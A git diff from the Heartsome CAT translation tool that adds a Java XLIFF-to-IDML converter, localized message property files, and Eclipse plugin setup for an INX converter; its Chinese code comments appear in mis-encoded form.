"XLIFF to IDML Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + XLIFF2IDMLImpl impl = new XLIFF2IDMLImpl(); + return impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * XLIFF 转æ¢ä¸º IDML 的实现类 + * @author peason + * @version + * @since JDK1.6 + */ + class XLIFF2IDMLImpl { + + /** IDML 中 Story 文件的å‰ç¼€ */ + private static final String IDML_PREFIX = "idPkg"; + + /** IDML 中 Story 文件的命å空间 */ + private static final String IDML_NAMESPACE = "http://ns.adobe.com/AdobeInDesign/idml/1.0/packaging"; + + /** XLIFF 文件路径 */ + private String strXLIFFPath; + + /** 骨架文件路径 */ + private String strSklPath; + + private ZipOutputStream zipOut; + + /** 骨架文件的临时解压目录 */ + private String strTmpFolderPath; + + private FileManager fileManager = new FileManager(); + + /** 存放文本段的集åˆï¼Œkey 为 trans-unit çš„ id, value 的第一个值为 source, 第二个为 target */ + private HashMap mapSegment = new HashMap(); + + /** + * 转æ¢å™¨çš„处ç†é¡ºåºå¦‚下:
    + * 1. è§£æž XLIFF 文件,获å–所有文本段并存放入集åˆä¸­ã€‚
    + * 2. 将骨架文件解压到临时目录。
    + * 3. 将临时目录中除 Stories æ–‡ä»¶å¤¹ä¹‹å¤–çš„å…¶ä»–æ–‡ä»¶åŠ Stories 文件夹中以 .xml 结尾的文件放入目标文件。
    + * 4. è§£æž Stories 文件夹中以 .skl 结尾的文件,并替æ¢æ–‡ä»¶ä¸­çš„骨架信æ¯ï¼Œæ›¿æ¢å®Œæˆä¹‹åŽå°†æ­¤æ–‡ä»¶åŽ»é™¤ .skl åŽç¼€æ”¾å…¥ç›®æ ‡æ–‡ä»¶ã€‚
    + * 5. 删除临时解压目录。
    + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("", 5); + // 转æ¢è¿‡ç¨‹åˆ†ä¸º 11 部分,loadSegment å  1,releaseSklZip å  1,createZip å  1, handleStoryFile å  7,deleteFileOrFolder å  1 + IProgressMonitor firstMonitor = Progress.getSubMonitor(monitor, 1); + firstMonitor.beginTask(Messages.getString("idml.XLIFF2IDML.task2"), 1); + firstMonitor.subTask(""); + Map result = new HashMap(); + strXLIFFPath = args.get(Converter.ATTR_XLIFF_FILE); + String strTgtPath = args.get(Converter.ATTR_TARGET_FILE); + strSklPath = args.get(Converter.ATTR_SKELETON_FILE); + try { + zipOut = new ZipOutputStream(new FileOutputStream(strTgtPath)); + if (firstMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + loadSegment(); + firstMonitor.worked(1); + firstMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + IProgressMonitor secondMonitor = Progress.getSubMonitor(monitor, 1); + secondMonitor.beginTask(Messages.getString("idml.XLIFF2IDML.task3"), 1); + secondMonitor.subTask(""); + // 将骨架文件解压到临时目录。 + releaseSklZip(strSklPath); + secondMonitor.worked(1); + secondMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + IProgressMonitor thirdMonitor = Progress.getSubMonitor(monitor, 1); + thirdMonitor.beginTask(Messages.getString("idml.XLIFF2IDML.task4"), 1); + thirdMonitor.subTask(""); + fileManager.createZip(strTmpFolderPath, zipOut, strTmpFolderPath + File.separator + "Stories"); + thirdMonitor.worked(1); + thirdMonitor.done(); + + handleStoryFile(Progress.getSubMonitor(monitor, 7)); + zipOut.flush(); + zipOut.close(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + IProgressMonitor fourthMonitor = Progress.getSubMonitor(monitor, 1); + fourthMonitor.beginTask(Messages.getString("idml.XLIFF2IDML.task5"), 1); + fourthMonitor.subTask(""); + // 删除解压目录 + fileManager.deleteFileOrFolder(new File(strTmpFolderPath)); + fourthMonitor.worked(1); + fourthMonitor.done(); + result.put(Converter.ATTR_TARGET_FILE, strTgtPath); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("idml.XLIFF2IDML.logger1"), e); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("idml.XLIFF2IDML.msg1"), + e); + } finally { + monitor.done(); + } + return result; + } + + /** + * è§£æž XLIFF 文件,获å–æ‰€æœ‰æ–‡æœ¬æ®µé›†åˆ + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + */ + private void loadSegment() throws NavException, XPathParseException, XPathEvalException { + VTDGen vg = new VTDGen(); + if (vg.parseFile(strXLIFFPath, true)) { + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/xliff/file/body//trans-unit"); + AutoPilot gAp = new AutoPilot(vn); + while (ap.evalXPath() != -1) { + vn.push(); + gAp.selectXPath("./source/g"); + while (gAp.evalXPath() != -1) { + String gId = vu.getCurrentElementAttribut("id", null); + if (gId != null) { + String[] arrText = new String[2]; + arrText[0] = vu.getElementContent(); + mapSegment.put(gId, arrText); + } + } + vn.pop(); + + vn.push(); + gAp.selectXPath("./target/g"); + while (gAp.evalXPath() != -1) { + String gId = vu.getCurrentElementAttribut("id", null); + if (gId != null) { + if (mapSegment.containsKey(gId)) { + String[] arrText = mapSegment.get(gId); + arrText[1] = vu.getElementContent(); + } else { + String[] arrText = new String[2]; + arrText[1] = vu.getElementContent(); + mapSegment.put(gId, arrText); + } + } + } + vn.pop(); + } + } + } + + /** + * 解压骨架文件到临时目录 + * @param sklPath + * 骨架文件路径 + * @throws IOException + */ + private void releaseSklZip(String sklPath) throws IOException { + String sysTemp = System.getProperty("java.io.tmpdir"); + String dirName = "tmpidmlfolder" + System.currentTimeMillis(); + File dir = new File(sysTemp + File.separator + dirName); + dir.mkdirs(); + strTmpFolderPath = dir.getAbsolutePath(); + fileManager.releaseZipToFile(sklPath, strTmpFolderPath); + } + + /** + * 处ç†ä¸´æ—¶è§£åŽ‹ç›®å½•ä¸­çš„ Story 文件 + * @throws Exception + */ + private void handleStoryFile(IProgressMonitor monitor) throws Exception { + List lstStoryFile = fileManager.getSubFiles(new File(strTmpFolderPath + File.separator + "Stories"), + null); + monitor.beginTask("", lstStoryFile.size() + 10); + VTDGen vg = new VTDGen(); + VTDUtils vu = new VTDUtils(); + XMLModifier xm = new XMLModifier(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(IDML_PREFIX, IDML_NAMESPACE); + String strSklTag = "###"; + List lstX = new ArrayList(); + List lstStoryPath = new ArrayList(); + List lstId = new ArrayList(); + Pattern pattern = Pattern.compile("###\\d+###"); + ParagraphManagement paraManagement = new ParagraphManagement(); + StringBuffer sbText = new StringBuffer(); + for (File storyFile : lstStoryFile) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + + monitor.subTask(MessageFormat.format(Messages.getString("idml.XLIFF2IDML.task6"), storyFile.getName())); + if (storyFile.getAbsolutePath().endsWith(".xml")) { + lstStoryPath.add(storyFile.getAbsolutePath()); + // fileManager.addFileToZip(zipOut, strTmpFolderPath, storyFile.getAbsolutePath()); + } else if (storyFile.getAbsolutePath().endsWith(".x")) { + lstX.add(storyFile.getAbsolutePath()); + } else if (storyFile.getAbsolutePath().endsWith(".skl")) { + String strStoryPath = storyFile.getAbsolutePath(); + if (vg.parseFile(strStoryPath, true)) { + VTDNav vn = vg.getNav(); + vu.bind(vn); + ap.bind(vn); + xm.bind(vn); + ap.selectXPath("/idPkg:Story/Story//Content/text()"); + while (ap.evalXPath() != -1) { + String content = vn.toString(vn.getCurrentIndex()); + if (content == null || content.equals("")) { + continue; + } + String string = paraManagement.toHexString(content.replaceAll("\r\n", "").replaceAll("\n", + "")); + if (string.toUpperCase().replaceAll("FFFE", "").replaceAll("FEFF", "") + .replaceAll("2028", "").trim().equals("")) { + continue; + } + lstId.clear(); + Matcher matcher = pattern.matcher(content); + while (matcher.find()) { + String group = matcher.group(); + lstId.add(group.substring(group.indexOf(strSklTag) + strSklTag.length(), + group.lastIndexOf(strSklTag))); + } + if (lstId.size() == 0) { + continue; + } + if (lstId.size() == 1) { + String id = lstId.get(0); + String[] arrSrcAndTgt = mapSegment.get(id); + if (arrSrcAndTgt != null) { + String strSrc = arrSrcAndTgt[0]; + String strTgt = arrSrcAndTgt[1]; + if (strTgt != null) { + strTgt = cleanTag(strTgt); + if (!"".equals(strTgt)) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + xm.updateToken(vn.getCurrentIndex(), strTgt); + } else { + xm.updateToken(vn.getCurrentIndex(), cleanTag(strSrc)); + } + } else { + xm.updateToken(vn.getCurrentIndex(), cleanTag(strSrc)); + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("idml.XLIFF2IDML.msg2"), id)); + } + } else { + sbText.delete(0, sbText.length()); + for (String id : lstId) { + String[] arrSrcAndTgt = mapSegment.get(id); + if (arrSrcAndTgt != null) { + String strSrc = arrSrcAndTgt[0]; + String strTgt = arrSrcAndTgt[1]; + if (strTgt != null) { + strTgt = cleanTag(strTgt); + if (!"".equals(strTgt)) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + sbText.append(strTgt); + } else { + sbText.append(cleanTag(strSrc)); + } + } else { + sbText.append(cleanTag(strSrc)); + } + } else { + ConverterUtils.throwConverterException( + Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("pptx.XLIFF2PPTX.msg2"), + lstId.get(0))); + } + + } + xm.updateToken(vn.getCurrentIndex(), sbText.toString()); + } + } + strStoryPath = strStoryPath.substring(0, strStoryPath.lastIndexOf(".skl")); + xm.output(strStoryPath); + lstStoryPath.add(strStoryPath); + } + } + monitor.worked(1); + } + + if (lstX.size() > 0) { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, lstX.size()); + subMonitor.beginTask("", lstX.size()); + AutoPilot apX = new AutoPilot(); + VTDGen vgX = new VTDGen(); + boolean isUpdate = false; + for (String strX : lstX) { + vgX.clear(); + subMonitor.subTask(MessageFormat.format(Messages.getString("idml.XLIFF2IDML.task6"), + strX.substring(strX.lastIndexOf(File.separator) + File.separator.length()))); + if (vgX.parseFile(strX, true)) { + isUpdate = false; + VTDNav vn = vgX.getNav(); + vu.bind(vn); + apX.bind(vn); + apX.selectXPath("/root/x"); + + vg.clear(); + vg.parseFile(strX + "ml", true); + VTDNav vnXML = vg.getNav(); + ap.bind(vnXML); + xm.bind(vnXML); + + while (apX.evalXPath() != -1) { + String id = vu.getCurrentElementAttribut("id", null); + String content = vu.getElementContent(); + + // id éžç©ºæ—¶ï¼Œè§£æžå¯¹åº”çš„ xml 文件 + if (id != null) { + ap.selectXPath("/idPkg:Story/Story//ParagraphStyleRange/CharacterStyleRange/x[@id='" + + id + "']"); + if (ap.evalXPath() != -1) { + xm.remove(); + xm.insertAfterElement(content); + isUpdate = true; + } + } + } + if (isUpdate) { + xm.output(strX + "ml"); + } + } + subMonitor.worked(1); + } + subMonitor.done(); + } + + monitor.worked(1); + for (String storyPath : lstStoryPath) { + fileManager.addFileToZip(zipOut, strTmpFolderPath, storyPath); + } + + monitor.done(); + } + + /** åŒ¹é… ph æ ‡è®°çš„æ­£åˆ™è¡¨è¾¾å¼ */ + private Pattern pattern = Pattern.compile("[^<>]*"); + + /** + * 清除 string 中的标记 + * @param string + * 待处ç†çš„字符串 + * @return ; + */ + private String cleanTag(String string) { + Matcher matcher = pattern.matcher(string); + int start = 0; + int end = 0; + StringBuffer sbText = new StringBuffer(); + while (matcher.find()) { + String group = matcher.group(); + // 去除标记。如 abcd 去除标记åŽä¸º abcd + // group = group.substring(group.indexOf(">") + 1, group.lastIndexOf("<")); + group.replaceAll("", ""); + group.replaceAll("", ""); + group = TextUtil.resetSpecialString(group); + + start = matcher.start(); + sbText.append(string.substring(end, start)).append(group); + end = matcher.end(); + } + sbText.append(string.substring(end, string.length())); + String text = sbText.toString(); + return text.replaceAll("'", "'"); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/Messages.java new file mode 100644 index 0000000..4ee005a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.idml.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.idml.resource.idml"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml.properties b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml.properties new file mode 100644 index 0000000..859d69a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml.properties @@ -0,0 +1,19 @@ +idml.IDML2XLIFF.logger1 = [LOG] IDML \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +idml.IDML2XLIFF.msg1 = IDML \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +idml.IDML2XLIFF.task2 = \u6b63\u5728\u89e3\u538b\u6e90\u6587\u4ef6... +idml.IDML2XLIFF.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +idml.IDML2XLIFF.task4 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +idml.IDML2XLIFF.task5 = \u6b63\u5728\u89e3\u6790 {0} \u6587\u4ef6... + +idml.XLIFF2IDML.task2 = \u6b63\u5728\u89e3\u6790 XLIFF \u6587\u4ef6... +idml.XLIFF2IDML.task3 = \u6b63\u5728\u89e3\u538b\u9aa8\u67b6\u6587\u4ef6... +idml.XLIFF2IDML.task4 = \u6b63\u5728\u751f\u6210\u76ee\u6807\u6587\u4ef6... +idml.XLIFF2IDML.task5 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +idml.XLIFF2IDML.task6 = \u6b63\u5728\u5904\u7406 {0} \u6587\u4ef6... +idml.XLIFF2IDML.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a IDML \u65f6\u51fa\u73b0\u9519\u8bef +idml.XLIFF2IDML.msg1 = XLIFF \u8f6c\u6362\u4e3a IDML \u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +idml.XLIFF2IDML.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +idml.TYPE_NAME_VALUE = Adobe InDesign \u6807\u8bb0 (IDML) +idml.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_en.properties b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_en.properties new file mode 100644 index 0000000..3548551 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_en.properties @@ -0,0 +1,19 @@ +idml.IDML2XLIFF.logger1 = [LOG] IDML \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +idml.IDML2XLIFF.msg1 = An error occured when converting IDML to XLIFF. Please try again. +idml.IDML2XLIFF.task2 = Unpacking source files... +idml.IDML2XLIFF.task3 = Creating skeleton file... +idml.IDML2XLIFF.task4 = Deleting temporary unpacking directory... +idml.IDML2XLIFF.task5 = Parsing file {0}... + +idml.XLIFF2IDML.task2 = Parsing XLIFF files... +idml.XLIFF2IDML.task3 = Unpacking skeleton files... +idml.XLIFF2IDML.task4 = Generating Target files... +idml.XLIFF2IDML.task5 = Deleting temporary unpacking directory... +idml.XLIFF2IDML.task6 = Processing file {0}... +idml.XLIFF2IDML.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a IDML \u65f6\u51fa\u73b0\u9519\u8bef +idml.XLIFF2IDML.msg1 = An error occured when converting XLIFF to IDML. Please try again. +idml.XLIFF2IDML.msg2 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +idml.TYPE_NAME_VALUE = Adobe InDesign Markup Language(IDML) +idml.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_zh.properties b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_zh.properties new file mode 100644 index 0000000..859d69a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/resource/idml_zh.properties @@ -0,0 +1,19 @@ +idml.IDML2XLIFF.logger1 = [LOG] IDML \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +idml.IDML2XLIFF.msg1 = IDML \u8f6c\u6362\u4e3a XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +idml.IDML2XLIFF.task2 = \u6b63\u5728\u89e3\u538b\u6e90\u6587\u4ef6... +idml.IDML2XLIFF.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +idml.IDML2XLIFF.task4 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +idml.IDML2XLIFF.task5 = \u6b63\u5728\u89e3\u6790 {0} \u6587\u4ef6... + +idml.XLIFF2IDML.task2 = \u6b63\u5728\u89e3\u6790 XLIFF \u6587\u4ef6... +idml.XLIFF2IDML.task3 = \u6b63\u5728\u89e3\u538b\u9aa8\u67b6\u6587\u4ef6... +idml.XLIFF2IDML.task4 = \u6b63\u5728\u751f\u6210\u76ee\u6807\u6587\u4ef6... +idml.XLIFF2IDML.task5 = \u6b63\u5728\u5220\u9664\u4e34\u65f6\u89e3\u538b\u76ee\u5f55... +idml.XLIFF2IDML.task6 = \u6b63\u5728\u5904\u7406 {0} \u6587\u4ef6... +idml.XLIFF2IDML.logger1 = [LOG] XLIFF \u8f6c\u6362\u4e3a IDML \u65f6\u51fa\u73b0\u9519\u8bef +idml.XLIFF2IDML.msg1 = XLIFF \u8f6c\u6362\u4e3a IDML \u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +idml.XLIFF2IDML.msg2 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +idml.TYPE_NAME_VALUE = Adobe InDesign \u6807\u8bb0 (IDML) +idml.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.inx/.classpath b/hsconverter/net.heartsome.cat.converter.inx/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.inx/.project b/hsconverter/net.heartsome.cat.converter.inx/.project new file mode 100644 index 0000000..7f1236c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.inx + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.inx/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.inx/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..ffc1202 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:04:52 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.inx/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.inx/META-INF/MANIFEST.MF new file mode 100644 index 0000000..3044fa3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter INX +Bundle-SymbolicName: net.heartsome.cat.converter.inx +Bundle-Version: 8.0.1.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.inx.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.converter.xml, + org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0", + org.osgi.util.tracker;version="1.4.2" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.inx/build.properties b/hsconverter/net.heartsome.cat.converter.inx/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Activator.java b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Activator.java new file mode 100644 index 0000000..7fddd1c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.inx/src/net/heartsome/cat/converter/inx/Activator.java @@ -0,0 +1,233 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.inx; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.AndFilter; +import net.heartsome.cat.converter.util.ConverterRegister; +import net.heartsome.cat.converter.util.EqFilter; +import net.heartsome.cat.converter.xml.Xliff2Xml; +import net.heartsome.cat.converter.xml.Xml2Xliff; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.Constants; +import org.osgi.framework.ServiceReference; +import org.osgi.framework.ServiceRegistration; +import org.osgi.util.tracker.ServiceTracker; +import org.osgi.util.tracker.ServiceTrackerCustomizer; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.inx"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The bundle context. */ + private static BundleContext bundleContext; + + /** The positive tracker. */ + private static ServiceTracker positiveTracker; + + /** The reverse tracker. */ + private static ServiceTracker reverseTracker; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void start(BundleContext context) throws Exception { + plugin = this; + bundleContext = context; + // tracker the xml converter service + String positiveFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xml2Xliff.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_POSITIVE)).toString(); + positiveTracker = new ServiceTracker(context, context.createFilter(positiveFilter), new XmlPositiveCustomizer()); + positiveTracker.open(); + + String reverseFilter = new AndFilter(new EqFilter(Constants.OBJECTCLASS, Converter.class.getName()), + new EqFilter(Converter.ATTR_TYPE, Xliff2Xml.TYPE_VALUE), new EqFilter(Converter.ATTR_DIRECTION, + Converter.DIRECTION_REVERSE)).toString(); + reverseTracker = new ServiceTracker(context, context.createFilter(reverseFilter), new XmlReverseCustomize()); + reverseTracker.open(); + + } + + /** + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + * @param context + * @throws Exception + */ + public void stop(BundleContext context) throws Exception { + positiveTracker.close(); + reverseTracker.close(); + plugin = null; + bundleContext = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + // just for test + /** + * Gets the xML converter. + * @param direction + * the direction + * @return the xML converter + */ + public static Converter getXMLConverter(String direction) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return new Xml2Xliff(); + } else { + return new Xliff2Xml(); + } + } + + /** + * The Class XmlPositiveCustomizer. + * @author John Zhu + * @version + * @since JDK1.6 + */ + private class XmlPositiveCustomizer implements ServiceTrackerCustomizer { + + /** + * (non-Javadoc). + * @param reference + * the reference + * @return the object + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#addingService(org.osgi.framework.ServiceReference) + */ + public Object addingService(ServiceReference reference) { + Converter converter = (Converter) bundleContext.getService(reference); + Converter inx2Xliff = new Inx2Xliff(converter); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Inx2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Inx2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Inx2Xliff.TYPE_NAME_VALUE); + ServiceRegistration registration = ConverterRegister.registerPositiveConverter(bundleContext, inx2Xliff, + properties); + return registration; + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#modifiedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void modifiedService(ServiceReference reference, Object service) { + + } + + /** + * (non-Javadoc). + * @param reference + * the reference + * @param service + * the service + * @see org.osgi.util.tracker.ServiceTrackerCustomizer#removedService(org.osgi.framework.ServiceReference, + * java.lang.Object) + */ + public void removedService(ServiceReference reference, Object service) { + ServiceRegistration registration = (ServiceRegistration) service; + 